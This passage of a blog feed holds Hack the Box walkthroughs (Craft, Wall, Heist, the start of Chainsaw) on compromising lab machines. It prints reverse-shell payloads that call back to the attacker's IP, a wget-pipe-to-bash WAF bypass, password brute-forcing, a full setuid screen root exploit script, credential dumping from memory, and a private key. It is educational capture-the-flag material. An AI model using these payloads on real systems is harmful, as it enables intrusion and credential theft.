navbar-nav pull-right\"&gt; &lt;li&gt;&lt;a href=\"https://api.craft.htb/api/\"&gt;API&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=\"https://gogs.craft.htb/\"&gt;&lt;img border=\"0\" alt=\"Git\" src=\"/static/img/Git-Icon-Black.png\" width=\"20\" height=\"20\"&gt;&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; We then add the domains to our hosts file and take another look. root@kali:~# cat /etc/hosts 127.0.0.1\tlocalhost 127.0.1.1\tkali 10.10.10.110\tcraft.htb 10.10.10.110\tgogs.craft.htb 10.10.10.110\tapi.craft.htb Initially I believed the API endpoints would be our initial avenue in, however after exploring /auth/check and /auth/login that thought changed. We do have the ability to login and check whether a token is valid, however do not have an idea on valid credentials are just yet. Once we move over to gogs.craft.htb we immediately see that a gogs (a self-hosted Git service) instance is running. We discovered that the craft-api repository was publicly accessible. Perusing the repo we stumble upon two interesting tidbits. Based on these finds and with the previous /auth/login api endpoint we looked at we're starting to shape up. We should initially be able to login and generate a valid token as dinesh using his credentials. Combine this with an unsanitized eval() in the /brew endpoint and we should be able to be able to pass a payload through a POST request. A few different payloads were tested however the following payload ended up working \"abv\":\"__import__('os').system('bash -i &gt;&amp; /dev/tcp/10.10.xx.xx/1337 0&gt;&amp;1\")\" Combining all the parts we write a small script to put it all together. root@kali:~/Desktop/HTB/Craft# cat test.py #!/usr/bin/env python import requests import json response = requests.get('https://api.craft.htb/api/auth/login', auth=('dinesh', '4aUh0A8PbVJxgd'), verify=False) json_response = json.loads(response.text) token = json_response['token']#'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidXNlciIsImV4cCI6MTU0OTM4NTI0Mn0.-wW1aJkLQDOE-GP5pQd3z_BJTe2Uo0jJ_mQ238P5Dqw' headers = { 'X-Craft-API-Token': token, 'Content-Type': 'application/json' } print(headers) # make sure token is valid response = requests.get('https://api.craft.htb/api/auth/check', headers=headers, verify=False) print(response.text) # create a sample brew with bogus ABV... should fail. print(\"Create bogus ABV brew\") brew_dict = {} brew_dict['abv'] = '__import__(\\'os\\').system(\\'bash -i &gt;&amp; /dev/tcp/10.10.xx.xx/1337 0&gt;&amp;1\")\"' brew_dict['name'] = 'blah' brew_dict['brewer'] = 'blah' brew_dict['style'] = 'blah' response = requests.post('https://api.craft.htb/api/brew/', headers=headers, data=json_data, verify=False) print(response.text) Despite generating a valid token and submitting a bogus ABV successfully I had issues getting the payload to trigger through the script. I ended up going the manual route and executed it directly. root@kali:~/Desktop/HTB/Craft# curl -H \"X-Craft-API-Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiZGluZXNoIiwiZXhwIjoxNTcwOTE0NTYwfQ.y72h6WBiAdhEQ7X9BFNoBHhYSOiRbmynWs1Hp_X8c9M\" -H \"Content-Type: application/json\" -k -X POST https://api.craft.htb/api/brew/ --data '{\"name\":\"test\",\"brewer\":\"test\", \"style\": \"test\", \"abv\":\"__import__('os').system('bash -i &gt;&amp; /dev/tcp/10.10.xx.xx/1337 0&gt;&amp;1\")\"}' User exploitation Wait, root!? Well let's just pop over and get our root flag. Doh... after a few seconds of poking around it became evident that we were in a docker container, not the actual host. After a bit of poking around we discover a dbtest.py file that seems to connect to the mysql instance running on the docker instance. /opt/app # cat dbtest.py #!/usr/bin/env python import pymysql from craft_api import settings # test connection to mysql database connection = pymysql.connect(host=settings.MYSQL_DATABASE_HOST, user=settings.MYSQL_DATABASE_USER, password=settings.MYSQL_DATABASE_PASSWORD, db=settings.MYSQL_DATABASE_DB, cursorclass=pymysql.cursors.DictCursor) try: with connection.cursor() as cursor: sql = \"SELECT `id`, `brewer`, `name`, `abv` FROM `brew` LIMIT 1\" cursor.execute(sql) result = cursor.fetchone() print(result) finally: connection.close() We copy this file and make slight modifications to see if we can enumerate some data from the mysql instance. Firstly, and this is the part that tripped me up for much too long, we need to change cursor.fetchone() to cursor.fetchall(). This little oversight caused me a lot of pain and ended up sending me down a few rabbit holes before realizing my mistakes. With fetchall set, we can change the query itself to: sql = \"SELECT * FROM user\" We could use \"SHOW TABLES\" instead of the query above to determine the tables user and brew would exist, however I initially took a guess and assumed a table user would be present. The final code used ends up looking like the following. #!/usr/bin/env python import pymysql from craft_api import settings # test connection to mysql database connection = pymysql.connect(host=settings.MYSQL_DATABASE_HOST, user=settings.MYSQL_DATABASE_USER, password=settings.MYSQL_DATABASE_PASSWORD, db=settings.MYSQL_DATABASE_DB, cursorclass=pymysql.cursors.DictCursor) try: with connection.cursor() as cursor: sql = \"SELECT * FROM user\" cursor.execute(sql) result = cursor.fetchall() print(result) finally: connection.close() And just like that we now have a few more credentials to add to the list. /opt/app # python dbtest2.py [{'id': 1, 'username': 'dinesh', 'password': '4aUh0A8PbVJxgd'}, {'id': 4, 'username': 'ebachman', 'password': 'llJ77D8QFkLPQB'}, {'id': 5, 'username': 'gilfoyle', 'password': 'ZEU3N8WNM2rh4T'}] With these credentials we can try a few different thing: SSH into the host and attempt to log back in to the gogs instance. SSH was unfortunately a bust butgilfoyle ends up being our lucky credential set and we manage to get in to the gogs instance. In addition to the previous craft-api repo we now also have access to the repo craft-infra. Let's poke around and see what additional information we can find! Immediately my attention was drawn to the .ssh folder. Sure enough we manage to get what seems like gilfoyle's private key into the host. -----BEGIN OPENSSH PRIVATE KEY----- b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABDD9Lalqe qF/F3X76qfIGkIAAAAEAAAAAEAAAEXAAAAB3NzaC1yc2EAAAADAQABAAABAQDSkCF7NV2Z F6z8bm8RaFegvW2v58stknmJK9oS54ZdUzH2jgD0bYauVqZ5DiURFxIwOcbVK+jB39uqrS zU0aDPlyNnUuUZh1Xdd6rcTDE3VU16roO918VJCN+tIEf33pu2VtShZXDrhGxpptcH/tfS RgV86HoLpQ0sojfGyIn+4sCg2EEXYng2JYxD+C1o4jnBbpiedGuqeDSmpunWA82vwWX4xx lLNZ/ZNgCQTlvPMgFbxCAdCTyHzyE7KI+0Zj7qFUeRhEgUN7RMmb3JKEnaqptW4tqNYmVw pmMxHTQYXn5RN49YJQlaFOZtkEndaSeLz2dEA96EpS5OJl0jzUThAAAD0JwMkipfNFbsLQ B4TyyZ/M/uERDtndIOKO+nTxR1+eQkudpQ/ZVTBgDJb/z3M2uLomCEmnfylc6fGURidrZi 4u+fwUG0Sbp9CWa8fdvU1foSkwPx3oP5YzS4S+m/w8GPCfNQcyCaKMHZVfVsys9+mLJMAq Rz5HY6owSmyB7BJrRq0h1pywue64taF/FP4sThxknJuAE+8BXDaEgjEZ+5RA5Cp4fLobyZ 3MtOdhGiPxFvnMoWwJLtqmu4hbNvnI0c4m9fcmCO8XJXFYz3o21Jt+FbNtjfnrIwlOLN6K Uu/17IL1vTlnXpRzPHieS5eEPWFPJmGDQ7eP+gs/PiRofbPPDWhSSLt8BWQ0dzS8jKhGmV ePeugsx/vjYPt9KVNAN0XQEA4tF8yoijS7M8HAR97UQHX/qjbna2hKiQBgfCCy5GnTSnBU GfmVxnsgZAyPhWmJJe3pAIy+OCNwQDFo0vQ8kET1I0Q8DNyxEcwi0N2F5FAE0gmUdsO+J5 0CxC7XoOzvtIMRibis/t/jxsck4wLumYkW7Hbzt1W0VHQA2fnI6t7HGeJ2LkQUce/MiY2F 5TA8NFxd+RM2SotncL5mt2DNoB1eQYCYqb+fzD4mPPUEhsqYUzIl8r8XXdc5bpz2wtwPTE cVARG063kQlbEPaJnUPl8UG2oX9LCLU9ZgaoHVP7k6lmvK2Y9wwRwgRrCrfLREG56OrXS5 elqzID2oz1oP1f+PJxeberaXsDGqAPYtPo4RHS0QAa7oybk6Y/ZcGih0ChrESAex7wRVnf CuSlT+bniz2Q8YVoWkPKnRHkQmPOVNYqToxIRejM7o3/y9Av91CwLsZu2XAqElTpY4TtZa hRDQnwuWSyl64tJTTxiycSzFdD7puSUK48FlwNOmzF/eROaSSh5oE4REnFdhZcE4TLpZTB a7RfsBrGxpp++Gq48o6meLtKsJQQeZlkLdXwj2gOfPtqG2M4gWNzQ4u2awRP5t9AhGJbNg MIxQ0KLO+nvwAzgxFPSFVYBGcWRR3oH6ZSf+iIzPR4lQw9OsKMLKQilpxC6nSVUPoopU0W Uhn1zhbr+5w5eWcGXfna3QQe3zEHuF3LA5s0W+Ql3nLDpg0oNxnK7nDj2I6T7/qCzYTZnS Z3a9/84eLlb+EeQ9tfRhMCfypM7f7fyzH7FpF2ztY+j/1mjCbrWiax1iXjCkyhJuaX5BRW I2mtcTYb1RbYd9dDe8eE1X+C/7SLRub3qdqt1B0AgyVG/jPZYf/spUKlu91HFktKxTCmHz 6YvpJhnN2SfJC/QftzqZK2MndJrmQ= -----END OPENSSH PRIVATE KEY----- Copying the contents over to our own host we attempt to SSH into the host using the key. We're asked for the key's password, and we made an assumption that gilfoyle uses the same password in various places. Sure enough, we are successful and finally have access to the user flag. Root exploitation For as long as it took to get to the user flag the root flag seemed much simpler in comparison. From the user homedirectory we found something interesting - a .vault-token. gilfoyle@craft:~$ cat .vault-token f1783c8d-41c7-0b12-d1c1-cf2aa17ac6b9 After a bit of searching around discovered that this is a VaultProject Token and is used to generate One-Time Passwords (OTP) and can be used for various things, including SSH. This seems like an interesting avenue. Sure enough, quickly see that this is what we are dealing with by confirming that vault utlity is installed on the machine, and that we can see the root_otp SSH role is defined on the repo. # set up vault secrets backend vault secrets enable ssh vault write ssh/roles/root_otp \\ key_type=otp \\ default_user=root \\ cidr_list=0.0.0.0/0 With this information in our hands, we are able to initiate an OTP request and acquire a root shell. gilfoyle@craft:/usr/bin$ vault login token=f1783c8d-41c7-0b12-d1c1-cf2aa17ac6b9 Success! You are now authenticated. The token information displayed below is already stored in the token helper. You do NOT need to run \"vault login\" again. Future Vault requests will automatically use this token. Key Value --- ----- token f1783c8d-41c7-0b12-d1c1-cf2aa17ac6b9 token_accessor 1dd7b9a1-f0f1-f230-dc76-46970deb5103 token_duration ∞ token_renewable false token_policies [\"root\"] identity_policies [] policies [\"root\"] And just like that we finish up our journey with Craft. Thanks everyone, until next time!" }, { "title": "Hack the Box - Wall", "url": "/hack-the-box/2019/12/18/htb-machine-wall/", "categories": "hack-the-box", "tags": "htb, waf, suid", "date": "2019-12-18 11:00:00 -0500", "content": "Introduction Wall was an easy Linux machine from HTB that focused on RCE/WAF bypass to establish an initial foothold then a direct pivot to root using a vulnerable suid binary. Let's follow along with my walkthrough. Initial Recon Per usual I start off with enumerating the machine using NMAP. root@kali:~/Desktop/HTB# nmap -sC -sV 10.10.10.157 Starting Nmap 7.70 ( https://nmap.org ) at 2019-10-20 13:17 EDT Nmap scan report for 10.10.10.157 Host is up (0.022s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 2e:93:41:04:23:ed:30:50:8d:0d:58:23:de:7f:2c:15 (RSA) | 256 4f:d5:d3:29:40:52:9e:62:58:36:11:06:72:85:1b:df (ECDSA) |_ 256 21:64:d0:c0:ff:1a:b4:29:0b:49:e1:11:81:b6:73:66 (ED25519) 80/tcp filtered http Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 4.20 seconds The web service index page only showed a default Apache page. Ran dirb a few times to see if we could enumerate anything further. The monitoring was protected by basic auth. This seemed like an interesting avenue, however no amount of brute forcing was successful. After a bit of struggling tried changing the request from a GET to a POST and it worked! Managed to capture a redirect through Burp to a /centreon page. Alright, so we have a product, and we have a version. A quick lookup at Centreon documentation tells us that the default credentials are admin/centreon. Unfortunately this wasn't the case - looks like someone did their due diligence and changed the default password! A little bit more research and managed to find that this version of Centreon should be vulnerable to CVE-2019-13024. Based on the writeup and code here I used a stripped down version of the code to bruteforce the password by looking for the csrf token being returned by the exploit. The payload portion was commented out for this phase. root@kali:~/Desktop/HTB/Wall# while read i; do echo $i; python centreon-exploit.py http://10.10.10.157/centreon admin $i; done &lt; ~/Desktop/rockyou.txt ... &lt;snip&gt; ... password1 [+] Retrieving CSRF token to submit the login form [+] Login token is : 5945037e366eaa485552d0503f86e3b9 [+] Logged In Sucssfully [+] Retrieving Poller token [+] Poller token is : 2b996d38c7dfe0c3b753f07f217e2ffd [+] Injecting Done, triggering the payload [+] Check your netcat listener ! Excellent, we now have the proper credentials admin/password1. CVE-2019-13024 indicates the vulnerability is in /main.get.php?p=60901. Setting up a listener and executing the exploit with payload enabled unfortunately did not work. Looking further at the exploit code payload to attempt and understand more what is happening. # this value contains the payload , you can change it as you want \"nagios_bin\": \"ncat -e /bin/bash {0} {1} #\".format(ip, port), I played around with different payloads and I was able to deduce that there was a WAF in place and interfering with the payload. With a little bit of trial and error the main thing I could figure out was that spaces were culprit. This was determined by modifying the exploit code to print out the result code of the POST request to /main.get.php?p=60901 - a 403 return would indicate the payload was being detected by the WAF. Unfortunately, I was not able to get the exploit working through the script. I decided to tackle the exploit manually through the webpage. Logging in as admin/password1 then navigating to /main.get.php?p=60901 we can that the nagios_bin portion of the exploit translates to the \"Monitoring Engine Binary\". I tested a few different payloads without success however finally I was able to get a call to my machine to download and execute a payload. root@kali:/var/www/html# cat pyrev.txt python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.116\",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);' With the following payload I was finally able to get a reverse shell established. wget${IFS}-qO-${IFS}http://10.10.14.116/pyrev.txt${IFS}|${IFS}bash; root@kali:~/Desktop/HTB# nc -lvnp 1337 Listening on [0.0.0.0] (family 2, port 1337) Connection from 10.10.10.157 42836 received! /bin/sh: 0: can't access tty; job control turned off $ id uid=33(www-data) gid=33(www-data) groups=33(www-data),6000(centreon) $ pwd /usr/local/centreon/www Root exploitation Unfortunately I was not able to retrieve the user flag as www-data. Popped over an enumeration script and started looking for pivot avenues. One particularly interesting result was screen-4.5.0 which had suid set. ... [-] SUID files: -rwsr-xr-x 1 root root 43088 Oct 15 2018 /bin/mount -rwsr-xr-x 1 root root 64424 Mar 10 2017 /bin/ping -rwsr-xr-x 1 root root 1595624 Jul 4 00:25 /bin/screen-4.5.0 -rwsr-xr-x 1 root root 30800 Aug 11 2016 /bin/fusermount ... I poked around a bit to see if there were any low-hanging fruit for this privesc and sure enough managed to find a searchsploit exploit. cat 41154.sh #!/bin/bash # screenroot.sh # setuid screen v4.5.0 local root exploit # abuses ld.so.preload overwriting to get root. # bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html # HACK THE PLANET # ~ infodox (25/1/2017) echo \"~ gnu/screenroot ~\" echo \"[+] First, we create our shell and library...\" cat &lt;&lt; EOF &gt; /tmp/libhax.c #include &lt;stdio.h&gt; #include &lt;sys/types.h&gt; #include &lt;unistd.h&gt; __attribute__ ((__constructor__)) void dropshell(void){ chown(\"/tmp/rootshell\", 0, 0); chmod(\"/tmp/rootshell\", 04755); unlink(\"/etc/ld.so.preload\"); printf(\"[+] done!\\n\"); } EOF gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c rm -f /tmp/libhax.c cat &lt;&lt; EOF &gt; /tmp/rootshell.c #include &lt;stdio.h&gt; int main(void){ setuid(0); setgid(0); seteuid(0); setegid(0); execvp(\"/bin/sh\", NULL, NULL); } EOF gcc -o /tmp/rootshell /tmp/rootshell.c rm -f /tmp/rootshell.c echo \"[+] Now we create our /etc/ld.so.preload file...\" cd /etc umask 000 # because screen -D -m -L ld.so.preload echo -ne \"\\x0a/tmp/libhax.so\" # newline needed echo \"[+] Triggering...\" screen -ls # screen itself is setuid, so... /tmp/rootshell Moved the script over to Wall and kicked it off to see if we can successfully privesc to root. And with that we had access to our root.txt flag and could easily step to the user.txt flag as well. Extra fun Unfortunately as a result of the privesc exploit there were a lot of remnants left on the machine. As a final act made sure to clean up after myself not to ruin anyone else's experience that happened to stumble upon these." }, { "title": "Hack the Box - Heist", "url": "/hack-the-box/2019/11/30/htb-machine-heist/", "categories": "hack-the-box", "tags": "htb, winrm, smb, impacket", "date": "2019-11-30 11:00:00 -0500", "content": "Introduction Heist was an easy difficulty box that combined credential harvesting, spraying, dumping a process to capture further credentials and a final spray to get Administrator access. OVerall it was a good box Windows box with a few fundamentals that could be practiced. Initial Recon As usual, let's kick it off with an NMAP scan. root@kali:~# nmap -sV -sV -p- 10.10.10.149 Starting Nmap 7.70 ( https://nmap.org ) at 2019-10-19 15:26 EDT Nmap scan report for 10.10.10.149 Host is up (0.11s latency). Not shown: 997 filtered ports PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 10.0 135/tcp open msrpc Microsoft Windows RPC 445/tcp open microsoft-ds? 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 31.23 seconds SMB did not reveal anything public so let's take a look at the web service running. Looks like there is a guest login option. Let's pop in as guest and see what we can find. Oooh, an attachment? Don't mind I do! Ok excellent, we're starting our credentials list. Cracking the type-5 and type-7 cisco hashes we now have a list of: hazard:stealth1agent rout3r::0242114B0E143F015F5D1E161713::$uperP@ssword admin::02375012182C1A1D751618034F36415408::Q4)sJu\\Y8qz*A3?d The first pairing of hazard/stealth1agent was a guess based on the username in the issues post. I dumped all potential passwords and usernames into corresponding files and used the smb_login module to spray them for validity. User exploitation Unfortunately at this point Hazard was not able to log in using winrm so took a different angle and tried dumping more information with the valid credentials. root@kali:~/Desktop/HTB/Heist# python lookupsid2.py hazard:stealth1agent@10.10.10.149 Impacket v0.9.15 - Copyright 2002-2016 Core Security Technologies Brute forcing SIDs at 10.10.10.149 Trying protocol 445/SMB... 500: SUPPORTDESK\\Administrator (SidTypeUser) 501: SUPPORTDESK\\Guest (SidTypeUser) 503: SUPPORTDESK\\DefaultAccount (SidTypeUser) 504: SUPPORTDESK\\WDAGUtilityAccount (SidTypeUser) 513: SUPPORTDESK\\None (SidTypeGroup) 1008: SUPPORTDESK\\Hazard (SidTypeUser) 1009: SUPPORTDESK\\support (SidTypeUser) 1012: SUPPORTDESK\\Chase (SidTypeUser) 1013: SUPPORTDESK\\Jason (SidTypeUser) Great, we have a few more users to add to our user file. Let's re-run the smb_login module with the expanded list now. We have an extra hit, excellent! This time chase was able to leverage winrm and we got ourselves a shell. I went between evil-winrm and the ruby iteration of winrm to try different angles. And now with shell access we are able to get our user flag. User down! Root exploitation Unfortunately my notes were a little skimp during this part. Checking the login.php code we saw that there was an admin hash listed. &lt;?php session_start(); if( isset($_REQUEST['login']) &amp;&amp; !empty($_REQUEST['login_username']) &amp;&amp; !empty($_REQUEST['login_password'])) { if( $_REQUEST['login_username'] === 'admin@support.htb' &amp;&amp; hash( 'sha256', $_REQUEST['login_password']) === '91c077fb5bcdd1eacf7268c945bc1d1ce2faf9634cba615337adbf0af4db9040') { $_SESSION['admin'] = \"valid\"; header('Location: issues.php'); } else header('Location: errorpage.php'); } else if( isset($_GET['guest']) ) { if( $_GET['guest'] === 'true' ) { $_SESSION['guest'] = \"valid\"; header('Location: issues.php'); } } ?&gt; Also checking the todo file in Chase's home directory we can assume he is periodically logging in to check any ongoing issues. PS &gt; cat todo.txt Stuff to-do: 1. Keep checking the issues list. 2. Fix the router config. Done: 1. Restricted access for guest user. Armed with this information let's dump the browser's (firefox) process and look any stored passwords in memory. Getting the dump file over to our own host we do a quick check. root@kali:~/Desktop/HTB/Heist# strings firefox.exe_191020_085813.dmp | egrep 'password' MOZ_CRASHREPORTER_RESTART_ARG_1=localhost/login.php?login_username=admin@support.htb&amp;login_password=4dD!5}x/re8]FBuZ&amp;login= RG_1=localhost/login.php?login_username=admin@support.htb&amp;login_password=4dD!5}x/re8]FBuZ&amp;login= MOZ_CRASHREPORTER_RESTART_ARG_1=localhost/login.php?login_username=admin@support.htb&amp;login_password=4dD!5}x/re8]FBuZ&amp;login= Perfect! Now let's expand our smb_logon files to validate the password. Bam! Let's use our trusty evil-winrm to log on. There we go! Thanks everyone, until next time!" }, { "title": "Hack the Box - Chainsaw", "url": "/hack-the-box/2019/11/23/htb-machine-chainsaw/", "categories": "hack-the-box", "tags": "htb, smart contract, ethereum, slack space, ftp, ipfs, john-the-ripper", "date": "2019-11-23 11:00:00 -0500", "content": "Introduction Chainsaw was an interesting box that I thoroughly enjoyed. Upon first investigation an anonymous ftp connection allowed access to some intersting files. Further investigation led to an understanding that those files were smart contract related and ultimately required to connect and exploit a foothold. From the initial foothold we extracted sensitive private keys from the local InterPlanetary File System and cracked password protected ssh private keys for user pivot. From user we exploited a loosely defined SUID file and PATH hijacking for root shell then finally leveraged root.txt's slack space to get the final flag. As the first time working with smart contracts it was an interesting initial vector filled with research into understanding how they worked in general as well as how we can use this to our advantage. Overall, I really enjoyed this box from that angle. The only part I did not enjoy was the final slack space of the flag. Without any direct need to include this step it felt forced and contrived. With that said however I had not directly interacted with hidden data in this manner before therefore I am thankful that I had the opportunity to expand that knowledge. Initial Recon Let's kick it off with an nmap scan: nmap -sV -sC 10.10.10.142 -p- Starting Nmap 7.70 ( https://nmap.org ) at 2019-10-26 23:28 EDT Nmap scan report for 10.10.10.142 Host is up (0.018s latency). Not shown: 65532 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 | ftp-anon: Anonymous FTP login allowed (FTP code 230) | -rw-r--r-- 1 1001 1001 23828 Dec 05 2018 WeaponizedPing.json | -rw-r--r-- 1 1001 1001 243 Dec 12 2018 WeaponizedPing.sol |_-rw-r--r-- 1 1001 1001 44 Oct 27 02:17 address.txt | ftp-syst: | STAT: | FTP server status: | Connected to ::ffff:10.10.15.188 | Logged in as ftp | TYPE: ASCII | No session bandwidth limit | Session timeout in seconds is 300 | Control connection is plain text | Data connections will be plain text | At session startup, client count was 2 | vsFTPd 3.0.3 - secure, fast, stable |_End of status 22/tcp open ssh OpenSSH 7.7p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 02:dd:8a:5d:3c:78:d4:41:ff:bb:27:39:c1:a2:4f:eb (RSA) | 256 3d:71:ff:d7:29:d5:d4:b2:a6:4f:9d:eb:91:1b:70:9f (ECDSA) |_ 256 7e:02:da:db:29:f9:d2:04:63:df:fc:91:fd:a2:5a:f2 (ED25519) 9810/tcp open unknown | fingerprint-strings: | FourOhFourRequest: | HTTP/1.1 400 Bad Request | Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept, User-Agent | Access-Control-Allow-Origin: * | Access-Control-Allow-Methods: * | Content-Type: text/plain | Date: Sun, 27 Oct 2019 03:36:20 GMT | Connection: close | Request | GetRequest: | HTTP/1.1 400 Bad Request | Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept, User-Agent | Access-Control-Allow-Origin: * | Access-Control-Allow-Methods: * | Content-Type: text/plain | Date: Sun, 27 Oct 2019 03:36:19 GMT | Connection: close | Request | HTTPOptions: | HTTP/1.1 200 OK | Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept, User-Agent | Access-Control-Allow-Origin: * | Access-Control-Allow-Methods: * | Content-Type: text/plain | Date: Sun, 27 Oct 2019 03:36:19 GMT |_ Connection: close 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port9810-TCP:V=7.70%I=7%D=10/26%Time=5DB51083%P=x86_64-pc-linux-gnu%r(G SF:etRequest,118,\"HTTP/1\\.1\\x20400\\x20Bad\\x20Request\\r\\nAccess-Control-All SF:ow-Headers:\\x20Origin,\\x20X-Requested-With,\\x20Content-Type,\\x20Accept, SF:\\x20User-Agent\\r\\nAccess-Control-Allow-Origin:\\x20\\*\\r\\nAccess-Control- SF:Allow-Methods:\\x20\\*\\r\\nContent-Type:\\x20text/plain\\r\\nDate:\\x20Sun,\\x2 SF:027\\x20Oct\\x202019\\x2003:36:19\\x20GMT\\r\\nConnection:\\x20close\\r\\n\\r\\n40 SF:0\\x20Bad\\x20Request\")%r(HTTPOptions,100,\"HTTP/1\\.1\\x20200\\x20OK\\r\\nAcce SF:ss-Control-Allow-Headers:\\x20Origin,\\x20X-Requested-With,\\x20Content-Ty SF:pe,\\x20Accept,\\x20User-Agent\\r\\nAccess-Control-Allow-Origin:\\x20\\*\\r\\nA SF:ccess-Control-Allow-Methods:\\x20\\*\\r\\nContent-Type:\\x20text/plain\\r\\nDa SF:te:\\x20Sun,\\x2027\\x20Oct\\x202019\\x2003:36:19\\x20GMT\\r\\nConnection:\\x20c SF:lose\\r\\n\\r\\n\")%r(FourOhFourRequest,118,\"HTTP/1\\.1\\x20400\\x20Bad\\x20Requ SF:est\\r\\nAccess-Control-Allow-Headers:\\x20Origin,\\x20X-Requested-With,\\x2 SF:0Content-Type,\\x20Accept,\\x20User-Agent\\r\\nAccess-Control-Allow-Origin: SF:\\x20\\*\\r\\nAccess-Control-Allow-Methods:\\x20\\*\\r\\nContent-Type:\\x20text/ SF:plain\\r\\nDate:\\x20Sun,\\x2027\\x20Oct\\x202019\\x2003:36:20\\x20GMT\\r\\nConne SF:ction:\\x20close\\r\\n\\r\\n400\\x20Bad\\x20Request\"); Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel That's a lot text but breaking it down it's essentially anonymous access ftp, ssh and finally an unrecognized service running on 9810. Since we know the obvious access through ftp let's take a quick poke at what we can find. Hum...no idea what these files are. Let's pull back to our host and explore them a bit more. root@kali:~/Desktop/HTB/Chainsaw# cat WeaponizedPing.sol pragma solidity ^0.4.24; contract WeaponizedPing { string store = \"google.com\"; function getDomain() public view returns (string) { return store; } function setDomain(string _value) public { store = _value; } } root@kali:~/Desktop/HTB/Chainsaw# cat address.txt 0xAf67B04cA9105d4E9A273C37C103c5DDf1F05C07 cat WeaponizedPing.json { \"contractName\": \"WeaponizedPing\", \"abi\": [ { \"constant\": true, \"inputs\": [], \"name\": \"getDomain\", \"outputs\": [ { \"name\": \"\", \"type\": \"string\" } ], \"payable\": false, \"stateMutability\": \"view\", \"type\": \"function\" }, { \"constant\": false, \"inputs\": [ { \"name\": \"_value\", \"type\": \"string\" } ], \"name\": \"setDomain\", \"outputs\": [], \"payable\": false, \"stateMutability\": \"nonpayable\", \"type\": \"function\" } ], \"bytecode\": \"0x60806040526040805190810160405280600a81526020017f676f6f676c652e636f6d000000000000000000000000000000000000000000008152506000908051906020019061004f929190610062565b5034801561005c57600080fd5b50610107565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106100a357805160ff19168380011785556100d1565b828001600101855582156100d1579182015b828111156100d05782518255916020019190600101906100b5565b5b5090506100de91906100e2565b5090565b61010491905b808211156101005760008160009055506001016100e8565b5090565b90565b6102d7806101166000396000f30060806040526004361061004c576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063b68d180914610051578063e5eab096146100e1575b600080fd5b34801561005d57600080fd5b5061006661014a565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100a657808201518184015260208101905061008b565b50505050905090810190601f1680156100d35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156100ed57600080fd5b50610148600480360381019080803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192905050506101ec565b005b606060008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156101e25780601f106101b7576101008083540402835291602001916101e2565b820191906000526020600020905b8154815290600101906020018083116101c557829003601f168201915b5050505050905090565b8060009080519060200190610202929190610206565b5050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061024757805160ff1916838001178555610275565b82800160010185558215610275579182015b82811115610274578251825591602001919060010190610259565b5b5090506102829190610286565b5090565b6102a891905b808211156102a457600081600090555060010161028c565b5090565b905600a165627a7a72305820d5d4d99bdb5542d8d65ef822d8a98c80911c2c3f15d609d10003ccf4227858660029\", ... While I can understand that the .sol file is essentially setting up a \"WeaponizedPing\" object with get/set functionality still wasn't entirely sure how it worked. A quick search online and learned that these are Ethereum smart contract files. This python web3.py article was invaluable in not only understanding the basics but getting a quick-and-dirty script up to connect with the smart contract. Based on the article we can assume that port 9810 from our nmap scan above is how we will connect and we should set up our provider to point here. Since we had the address from address.txt and the abi and bytecode from WeaponizedPing.json and what functions are available through WeaponizedPing.sol we should be able to follow along and interact with it. My script ended up being the following: from web3 import Web3, HTTPProvider w3 = Web3(HTTPProvider('http://10.10.10.142:9810')) w3.eth.defaultAccount = w3.eth.accounts[0] # ABI abi = '[{\"constant\":true,\"inputs\":[],\"name\":\"getDomain\",\"outputs\":[{\"name\":\"\",\"type\":\"string\"}],\"payable\":false,\"stateMutability\":\"view\",\"type\":\"function\"},{\"constant\":false,\"inputs\":[{\"name\":\"_value\",\"type\":\"string\"}],\"name\":\"setDomain\",\"outputs\":[],\"payable\":false,\"stateMutability\":\"nonpayable\",\"type\":\"function\"}]' # Address address = \"0xAf67B04cA9105d4E9A273C37C103c5DDf1F05C07\" # bytecode bytecode = 